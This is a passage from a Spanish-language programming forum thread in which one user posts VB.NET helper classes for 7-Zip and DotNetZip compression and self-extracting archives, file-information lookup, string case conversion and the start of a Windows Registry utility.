CompressedFileExtension = ".tar" Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz" Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip" End Select ' Add Progress Handler AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress ' Removes the end slash ("\") if given for a directory If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir If Not Password Is Nothing Then Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password) Else Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True) End If ElseIf IO. File. Exists(Input_DirOrFile ) Then ' Is a File If Not Password Is Nothing Then Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile) Else Compressor.CompressFiles(OutputFileName, Input_DirOrFile) End If End If Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function Private Shared Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) SevenZip_Current_Progress = e.PercentDone ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0 End Sub #End Region #Region " SevenZipSharp Compress SFX " Enum SevenZipSharp_SFX_Module Normal Console End Enum Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _ Optional ByVal Password As String = Nothing) As Boolean SevenZip_Current_Progress = 0 ' Create the .7z file Try ' Set library path SevenZipCompressor.SetLibraryPath(SevenZipDLL) ' Create compressor Dim Compressor As SevenZipCompressor = New SevenZipCompressor() ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file. Compressor.DirectoryStructure = True ' Preserve the directory structure. Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives. Compressor.ScanOnlyWritable = False ' Compress files only open for writing. Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path Compressor.FastCompression = False ' Compress as fast as possible, without calling events. Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory. Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives. Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance ' Add Progress Handler AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress ' Removes the end slash ("\") if given for a directory If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\") Else OutputFileName = OutputFileName & ".tmp" End If ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir If Not Password Is Nothing Then Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password) Else Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True) End If ElseIf IO. File. Exists(Input_DirOrFile ) Then ' Is a File If Not Password Is Nothing Then Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile) Else Compressor.CompressFiles(OutputFileName, Input_DirOrFile) End If End If ' Create the SFX file ' Create the SFX compressor Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default) ' Set SFX Module path If SFX_Module = SevenZipSharp_SFX_Module.Normal Then compressorSFX.ModuleFileName = ".\7z.sfx" ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then compressorSFX.ModuleFileName = ".\7zCon.sfx" End If ' Start the compression ' Generate the OutputFileName if any is given. Dim SFXOutputFileName As String If OutputFileName.ToLower.EndsWith(".exe.tmp") Then SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) Else SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe" End If compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName) ' Delete the 7z tmp file Try : IO. File. Delete(OutputFileName ) : Catch : End Try Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function Private Shared Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) SevenZip_Current_Progress = e.PercentDone ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0 End Sub #End Region #Region " SevenZipSharp FileInfo " Enum File_Info FileName Format Size_In_Bytes Internal_Files_FileNames Total_Internal_Files End Enum Public Shared Function FileInfo(ByVal InputFile As String, ByVal Info As File_Info) Try ' Set library path SevenZip.SevenZipExtractor.SetLibraryPath(SevenZipDLL) ' Create extractor and specify the file to extract Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile) ' Return info Select Case Info Case File_Info.FileName Return Extractor.FileName Case File_Info.Format Return Extractor.Format Case File_Info.Size_In_Bytes Return Extractor.PackedSize Case File_Info.Total_Internal_Files Return Extractor.FilesCount Case File_Info.Internal_Files_FileNames Dim FileList As New List(Of String) For Each Internal_File In Extractor.ArchiveFileData FileList.Add(Internal_File.FileName) Next Return FileList Case Else Return Nothing End Select Extractor.Dispose() Catch ex As Exception ' Return nothing Throw New Exception(ex.Message) End Try End Function #End Region End Class #End Region
(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg) Una class para usar DotNetZip de forma sencilla para "comprimir/descomprimir/Crear un SFX" y mostrando el progreso en las operaciones. #Region " DotNetZip Class " ' [ DotNetZip Functions ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "Ionic.Zip.dll". ' ' Examples : ' ' -------- ' Extract: ' -------- ' DotNetZip_Extract("C:\File.zip") ' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword") ' ' --------- ' Compress: ' --------- ' DotNetZip_Compress("C:\File.txt") ' DotNetZip_Compress("C:\Folder") ' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256) ' ' ------------- ' Compress SFX: ' ------------- ' DotNetZip_Compress_SFX("C:\File.txt") ' DotNetZip_Compress_SFX("C:\Folder") ' ' DotNetZip_Compress_SFX( _ ' "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _ ' "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _ ' ExtractExistingFileAction.OverwriteSilently, , , , _ ' System.IO.Path.GetFileName("notepad.exe") _ ' ) ' ' ------------ ' * Progress * ' ------------ ' Dim WithEvents DotNetZip_Progress_Timer As New Timer ' Private Sub DotNetZip_Progress_Timer_Tick(sender As Object, e As EventArgs) Handles DotNetZip_Progress_Timer.Tick ' Label1.Text = DotNetZip.CurrentFileName ' ProgressBar1.Value = DotNetZip.DotNetZip_Current_Progress ' If ProgressBar1.Value = 100 Then ' ' ... ' End If ' End Sub Imports Ionic.Zip Imports Ionic.Zlib Public Class DotNetZip #Region " DotNetZip Extract " Public Shared DotNetZip_Current_Progress As Short = 0 Public Shared ZipFileCount As Long = 0 Public Shared ExtractedFileCount As Long = 0 Public Shared CurrentFileName As String = String.Empty Public Shared Function Extract(ByVal InputFile As String, _ Optional ByVal OutputDir As String = Nothing, _ Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _ Optional ByVal Password As String = "Nothing" _ ) As Boolean DotNetZip_Current_Progress = 0 ZipFileCount = 0 ExtractedFileCount = 0 CurrentFileName = String.Empty Try ' Create Extractor Dim Extractor As ZipFile = ZipFile.Read(InputFile) ' Set Extractor parameters Extractor.Password = Password ' Zip Password Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations Extractor.ZipErrorAction = ZipErrorAction.Throw ' Specify the output path where the files will be extracted If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName ' Add Progress AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler For Each Entry As ZipEntry In Extractor.Entries Application.DoEvents() ZipFileCount += 1 Next ' Total bytes size of Zip ZipFileCount = Extractor.Entries.Count ' Total files inside Zip ' Start the extraction For Each Entry As ZipEntry In Extractor.Entries Application.DoEvents() Entry.Extract(OutputDir, Overwrite) Next ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars Extractor.Dispose() Return True ' File Extracted Catch ex As Exception ' Return False ' File not extracted MsgBox(ex.Message) Throw New Exception(ex.Message) End Try End Function Private Shared Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs) If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then CurrentFileName = e.CurrentEntry.FileName ExtractedFileCount += 1 DotNetZip_Current_Progress = ((100 / ZipFileCount) * ExtractedFileCount) ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then If ExtractedFileCount = ZipFileCount Then 'MessageBox.Show("Extraction Done: " & vbNewLine & _ ' e.ArchiveName) ' Uncompression finished End If End If End Sub #End Region #Region " DotNetZip Compress " Public Shared Function Compress(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _ Optional ByVal Password As String = Nothing, _ Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _ ) As Boolean DotNetZip_Current_Progress = 0 ZipFileCount = 0 ExtractedFileCount = 0 CurrentFileName = String.Empty Try ' Create compressor Dim Compressor As ZipFile = New ZipFile ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod ' Compression method Compressor.Password = Password ' Zip Password Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _ Compressor.Encryption = EncryptionAlgorithm.None _ Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password. ' Add Progress Handler AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress ' Removes the end slash ("\") if is given for a directory. If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir Compressor.AddDirectory(Input_DirOrFile) ElseIf IO. File. Exists(Input_DirOrFile ) Then ' It's a File Compressor.AddFile(Input_DirOrFile) End If Compressor.Save(OutputFileName) Compressor.Dispose() Catch ex As Exception ' Return False ' File not compressed MsgBox(ex.Message) ' Throw New Exception(ex.Message) End Try Return True ' File compressed End Function Private Shared Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) Application.DoEvents() If e.EventType = ZipProgressEventType.Saving_Started Then ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1) ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then DotNetZip_Current_Progress = 100 End If End Sub #End Region #Region " DotNetZip Compress SFX " Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _ Optional ByVal Password As String = Nothing, _ Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _ Optional ByVal Extraction_Directory As String = ".\", _ Optional ByVal Silent_Extraction As Boolean = False, _ Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _ Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _ Optional ByVal Icon As String = Nothing, _ Optional ByVal Window_Title As String = Nothing, _ Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _ Optional ByVal Command_Line_Argument As String = Nothing _ ) As Boolean DotNetZip_Current_Progress = 0 ZipFileCount = 0 ExtractedFileCount = 0 CurrentFileName = String.Empty Try ' Create compressor Dim Compressor As ZipFile = New ZipFile ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. ' Compression method Compressor.Password = Password ' Zip Password Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password. Compressor.CompressionMethod = CompressionMethod ' Set any compression method. Else Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password. Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption. End If Dim SFX_Options As New SelfExtractorSaveOptions() SFX_Options.DefaultExtractDirectory = Extraction_Directory SFX_Options.Quiet = Silent_Extraction SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction SFX_Options.Flavor = Window_Style SFX_Options.PostExtractCommandLine = Command_Line_Argument If Not Icon Is Nothing Then SFX_Options.IconFile = Icon If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title ' Add Progress Handler AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress ' Removes the end slash ("\") if is given for a directory. If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then _ OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\") ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir Compressor.AddDirectory(Input_DirOrFile) ElseIf IO. File. Exists(Input_DirOrFile ) Then ' It's a File Compressor.AddFile(Input_DirOrFile) End If Compressor.SaveSelfExtractor(OutputFileName, SFX_Options) Compressor.Dispose() Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function Private Shared Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs) Application.DoEvents() If e.EventType = ZipProgressEventType.Saving_Started Then ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1) ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then DotNetZip_Current_Progress = 100 End If End Sub #End Region End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 19:42 pm
Mi versión modificada del "FileInfo" #Region " Get File Info " ' [ Get File Info Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.DriveLetter)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortName)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortPath)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name_Length)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension_Length)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName_Length)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory_Length)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName_Length)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileSize)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileVersion)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_Enum)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_String)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.CreationTime)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastAccessTime)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastModifyTime)) ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Has_Extension)) Public Enum FileInfo Name ' Filename without extension Extension_With_Dot ' File-Extension (with dot included) Extension_Without_Dot ' File-Extension (without dot) FileName ' Filename.extension Directory ' Directory name DriveLetter ' Drive letter (only 1 letter) FullName ' Directory path + Filename ShortName ' DOS8.3 Filename ShortPath ' DOS8.3 Path Name Name_Length ' Length of Filename without extension Extension_With_Dot_Length ' Length of File-Extension (with dot included) Extension_Without_Dot_Length ' Length of File-Extension (without dot) FileName_Length ' Length of Filename.extension Directory_Length ' Length of Directory name FullName_Length ' Length of Directory path + Filename FileSize ' Size in Bytes FileVersion ' Version for DLL or EXE files Attributes_Enum ' Attributes in Integer format Attributes_String ' Attributes in String format CreationTime ' Date Creation time LastAccessTime ' Date Last Access time LastModifyTime ' Date Last Modify time Has_Extension ' Checks if file have a file-extension. End Enum Private Function Get_File_Info (ByVal File As String, ByVal Information As FileInfo ) Dim File_Info = My. Computer. FileSystem. GetFileInfo(File) Select Case Information Case FileInfo.Name : Return File_Info.Name.Substring(0, File_Info.Name.LastIndexOf(".")) Case FileInfo.Extension_With_Dot : Return File_Info.Extension Case FileInfo.Extension_Without_Dot : Return File_Info.Extension.Split(".").Last Case FileInfo.FileName : Return File_Info.Name Case FileInfo.Directory : Return File_Info.DirectoryName Case FileInfo.DriveLetter : Return File_Info.Directory.Root.ToString.Substring(0, 1) Case FileInfo.FullName : Return File_Info.FullName Case FileInfo. ShortName : Return CreateObject("Scripting.FileSystemObject"). GetFile(File). ShortName Case FileInfo. ShortPath : Return CreateObject("Scripting.FileSystemObject"). GetFile(File). ShortPath Case FileInfo.Name_Length : Return File_Info.Name.Length Case FileInfo.Extension_With_Dot_Length : Return File_Info.Extension.Length Case FileInfo.Extension_Without_Dot_Length : Return File_Info.Extension.Split(".").Last.Length Case FileInfo.FileName_Length : Return File_Info.Name.Length Case FileInfo.Directory_Length : Return File_Info.DirectoryName.Length Case FileInfo.FullName_Length : Return File_Info.FullName.Length Case FileInfo.FileSize : Return File_Info.Length Case FileInfo. FileVersion : Return CreateObject("Scripting.FileSystemObject"). GetFileVersion(File) Case FileInfo.Attributes_Enum : Return File_Info.Attributes Case FileInfo.Attributes_String : Return File_Info.Attributes.ToString Case FileInfo.CreationTime : Return File_Info.CreationTime Case FileInfo.LastAccessTime : Return File_Info.LastAccessTime Case FileInfo.LastModifyTime : Return File_Info.LastWriteTime Case FileInfo. Has_Extension : Return IO. Path. HasExtension(File) Case Else : Return Nothing End Select End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 21:08 pm
Una class para trabajar con StringCases por ejemplo para renombrar archivos de forma masiva a TitleCase, contiene las funciones que posteé hace un tiempo, y le he añadido el "InvertedCase". #Region " StringCase Class " Public Class StringCase ' [ StringCase Functions ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(StringCase.Titlecase("THiS is a TeST")) ' MsgBox(StringCase.DelimitedCase_Lower("THiS is a TeST", ";")) ' MsgBox(StringCase.InvertedCase("HeLLo")) ' Var = StringCase.WordCase(Var) ''' <summary> ''' Convert to LowerCase [Ex: ab cd ef] ''' </summary> Public Shared Function LowerCase(ByVal Text As String) As String Return Text.ToLower End Function ''' <summary> ''' Convert to UpperCase [Ex: AB CD EF] ''' </summary> Public Shared Function UpperCase(ByVal Text As String) As String Return Text.ToUpper End Function ''' <summary> ''' Convert to Titlecase [Ex: Ab cd ef] ''' </summary> Public Shared Function Titlecase(ByVal Text As String) As String Return Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase) End Function ''' <summary> ''' Convert to WordCase [Ex: Ab Cd Ef] ''' </summary> Public Shared Function WordCase(ByVal Text As String) As String Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text) End Function ''' <summary> ''' Convert to CamelCase (And first letter to Lower) [Ex: abCdEf] ''' </summary> Public Shared Function CamelCase_First_Lower(ByVal Text As String) As String Return Char.ToLower(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1) End Function ''' <summary> ''' Convert to CamelCase (And first letter to Upper) [Ex: AbCdEf] ''' </summary> Public Shared Function CamelCase_First_Upper(ByVal Text As String) As String Return Char.ToUpper(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1) End Function ''' <summary> ''' Convert to MixedCase (And first letter to Lower) [Ex: aB Cd eF] ''' </summary> Public Shared Function MixedCase_First_Lower(ByVal Text As String) As String Dim MixedString As String = Nothing For X As Integer = 0 To Text.Length - 1 Application.DoEvents() Dim c As Char = Text(X) If (X / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Return MixedString End Function ''' <summary> ''' Convert to MixedCase (And first letter to Upper) [Ex: Ab cD Ef] ''' </summary> Public Shared Function MixedCase_First_Upper(ByVal Text As String) As String Dim MixedString As String = Nothing For X As Integer = 0 To Text.Length - 1 Application.DoEvents() Dim c As Char = Text(X) If (X / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToLower _ Else MixedString += c.ToString.ToUpper Next Return MixedString End Function ''' <summary> ''' Convert to MixedCase (And first letter of each word to Lower) [Ex: aB cD eF] ''' </summary> Public Shared Function MixedCase_Word_Lower(ByVal Text As String) As String Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To Text.Length - 1 Application.DoEvents() Dim c As Char = Text(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Return MixedString End Function ''' <summary> ''' Convert to MixedCase (And first letter of each word to Upper) [Ex: Ab Cd Ef] ''' </summary> Public Shared Function MixedCase_Word_Upper(ByVal Text As String) As String Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To Text.Length - 1 Application.DoEvents() Dim c As Char = Text(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToLower _ Else MixedString += c.ToString.ToUpper Next Return MixedString End Function ''' <summary> ''' Convert to DelimitedCase (And All letters to Lower) [Ex: ab-cd-ef] ''' </summary> Public Shared Function DelimitedCase_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(Text.ToLower, Delimiter) End Function ''' <summary> ''' Convert to DelimitedCase (And All letters to Upper) [Ex: AB-CD-EF] ''' </summary> Public Shared Function DelimitedCase_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(Text.ToUpper, Delimiter) End Function ''' <summary> ''' Convert to DelimitedCase (And first letter to Upper) [Ex: Ab-cd-ef] ''' </summary> Public Shared Function DelimitedCase_Title(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase), Delimiter) End Function ''' <summary> ''' Convert to DelimitedCase (And first letter of each word to Lower) [Ex: aB-cD-eF] ''' </summary> Public Shared Function DelimitedCase_Mixed_Word_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String Dim MixedString As String = Nothing Dim Count As Integer = 1 For X As Integer = 0 To Text.Length - 1 Application.DoEvents() Dim c As Char = Text(X) If Not c = " " Then Count += 1 Else Count = 1 If (Count / 2).ToString.Contains(",") Then _ MixedString += c.ToString.ToUpper _ Else MixedString += c.ToString.ToLower Next Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(MixedString, Delimiter) End Function ''' <summary> ''' Convert to DelimitedCase (And first letter of each word to Upper) [Ex: Ab-Cd-Ef] ''' </summary> Public Shared Function DelimitedCase_Mixed_Word_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String Dim rgx As New System.Text.RegularExpressions.Regex("\s+") Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text), Delimiter) End Function ''' <summary> ''' Covert string to InvertedCase [Ex: HeLLo -> hEllO ] ''' </summary> Public Shared Function InvertedCase(ByVal Text As String) As String Dim InvertedString As String = String.Empty For Each character In Text Application.DoEvents() If Char.IsUpper(character) Then InvertedString += character.ToString.ToLower Else : InvertedString += character.ToString.ToUpper End If Next Return InvertedString End Function End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 11:14 am
Una class con funciones para realizar todo tipo de operaciones en el Registro de Windows: - Crear clave - Eliminar clave - Crear valor - Eliminar valor - Obtener los datos de un valor - Exportar clave - Importar archivo - Saltar a clave (abrir Regedit en clave específica) - Comprobar si un valor existe - Comprobar si los datos de un valor están vacíos - Copiar clave a otro lugar del registro - Copiar valor a otro lugar del registro - Establecer permisos de usuario para una clave #Region " RegEdit " ' [ RegEdit Functions ] ' ' // By Elektro H@cker ' ' Examples : ' ' ----------- ' Create Key: ' ----------- ' RegEdit.Create_Key("HKCU\Software\MyProgram") ' Creates "HKCU\Software\MyProgram" ' RegEdit.Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings" ' ' ----------- ' Delete Key: ' ----------- ' RegEdit.Delete_Key("HKLM\Software\7-zip") ' Deletes the "7-zip" tree including subkeys ' RegEdit.Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys ' ' ------------- ' Delete Value: ' ------------- ' RegEdit.Delete_Value("HKCU\Software\7-Zip", "Lang") ' Deletes "Lang" Value ' RegEdit.Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value ' ' ---------- ' Get Value: ' ---------- ' Dim Data As String = RegEdit.Get_Value("HKCU\Software\MyProgram", "Value name")) ' Dim Data As String = RegEdit.Get_Value("HKEY_CURRENT_USER\Software\MyProgram", "Value name")) ' ' ---------- ' Set Value: ' ---------- ' RegEdit.Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data ' RegEdit.Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data ' ' ----------- ' Export Key: ' ----------- ' RegEdit.Export_Key("HKLM", "C:\HKLM.reg") ' Export entire "HKEY_LOCAL_MACHINE" Tree to "C:\HKLM.reg" file. ' RegEdit.Export_Key("HKLM\Software\7-zip\", "C:\7-zip.reg") ' Export entire "7-zip" Tree to "C:\7-zip.reg" file. ' ' ------------ ' Import File: ' ------------ ' RegEdit.Import_RegFile("C:\Registry_File.reg") ' Install a registry file. ' ' ------------ ' Jump To Key: ' ------------ ' RegEdit.Jump_To_Key("HKLM") ' Opens Regedit at "HKEY_LOCAL_MACHINE" Root. ' RegEdit.Jump_To_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Opens Regedit at "HKEY_LOCAL_MACHINE\Software\7-zip" tree. ' ' ------------- ' Exist Value?: ' ------------- ' MsgBox(RegEdit.Exist_Value("HKLM\software\7-zip", "Path") ' Checks if "Path" value exist. ' ' ------------ ' Exist Data?: ' ------------ ' MsgBox(RegEdit.Exist_Data("HKLM\software\7-zip", "Path") ' Checks if "Path" value have empty data. ' ' --------- ' Copy Key: ' --------- ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip" ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip" ' 